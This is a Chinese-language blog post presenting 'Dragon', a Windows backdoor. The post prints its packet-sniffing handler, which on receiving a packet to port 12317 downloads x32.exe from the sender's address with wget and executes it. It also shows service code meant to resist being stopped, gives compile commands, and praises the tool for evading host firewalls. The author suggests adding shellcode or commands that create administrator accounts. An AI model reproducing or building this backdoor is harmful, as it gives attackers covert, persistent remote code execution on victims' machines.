Windows Backdoor Dragon 介绍
0x00 前言
今天在http://n0where.net/上看到的,这的backdoor的发布比较新,看了下GitHub上的介绍感觉挺有趣的,于是乎就有了这篇文章。
0x02 Dragon介绍
Dragon 是一个通过嗅探本地网络数据包这样的非监听端口的方式,来运行的反向下载并执行远程服务器二进制文件的服务形式的后门。运行在windows环境上,使用winpcap的方式嗅探并监听数据包,所以需要libpcap库的支持。它实现的原理就是通过嗅探本机所有网卡接口的数据包,如果有收到指定端口(默认是12317端口)的数据包就使用wget.exe下载数据包中指定服务器上的执行文件,并在本机执行。由于是工作在TCP数据层,所以主机防火墙是无法检查这个流量的。Dragon只有单个文件,代码也很短,基于cd00r.c和helldoor.c修改的。更详细的介绍可以看Github。
Github地址:https://github.com/Shellntel/backdoors
0x03 核心代码分析
1. 监听实现代码:
if (sport == 12317) { //Change this if you want it to listen on a different port. remove( "c:\\windows\\system32\\x32.exe" ); char cmd[255]; sprintf(cmd, "\"c:\\windows\\system\\wget.exe http://%d.%d.%d.%d/x32.exe\"", ih->saddr.byte1, ih->saddr.byte2, ih->saddr.byte3, ih->saddr.byte4 ); system(cmd); system("c:\\windows\\system32\\x32.exe"); }
当嗅探到发送至本机12317端口是数据包时,Dragon首先会删除 c:\\windows\\system32\\x32.exe这个旧的执行文件,接着会使用wget(需要自行安装!这不是的坑吗?建议在Dragon中添加wget实现代码,或者在Dragon安装后直接远程下载,后期有时间自己实现吧~)下载源端口12317数据包中给定服务器地址上指定的x32.exe可执行文件。使用这种方法的好处是即使目标主机上的防火墙过滤了来自攻击者的IP,只要攻击者改变一下IP,并且向目标机指定端口发送数据包,Dragon同样会正常运行。最后,Dragon会执行这个x32.exe文件。如果你想用别的端口,只需修改上面的端口即可,代码的其余部分可以保持不变。更强大的功能是:你可以通过修改packet_handler这个函数来执行或者添加你想让目标机执行的许多东东,shellcode、cmd命令(比如添加administrator用户等)等其他有趣的模块。
2. windows 服务实现:
windows 服务是使用下面代码:
ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_SHUTDOWN;
这个ServiceStatus.dwControlsAccepted的值将告诉这个服务,它所能接受用户发出的状态。这里已经设置成当接受终止时,告知服务正在关闭。这意味着即使用户是管理员也不能暂停或启动服务。杀死或停止的唯一方式就是通过任务管理器来杀死进程。当然如果能够实现进程注入就更好了,期待中。。。
0x04 编译
这个exe文件的运行需要libpcap哭的支持,在MinGW版本的gcc上编译。目前已在WinXP~8、Server2003~2012等32bit和64bit机上运行通过。
编译是时候,需要指定libpcap和WpdPack的路径:
gcc.exe -v -I c:\Path\To\WpdPack\Include -L c:\Path\To\WpdPack\lib dragon.c -L/usr/local/lib -lwpcap -lws2_32 -static -o dragon.exe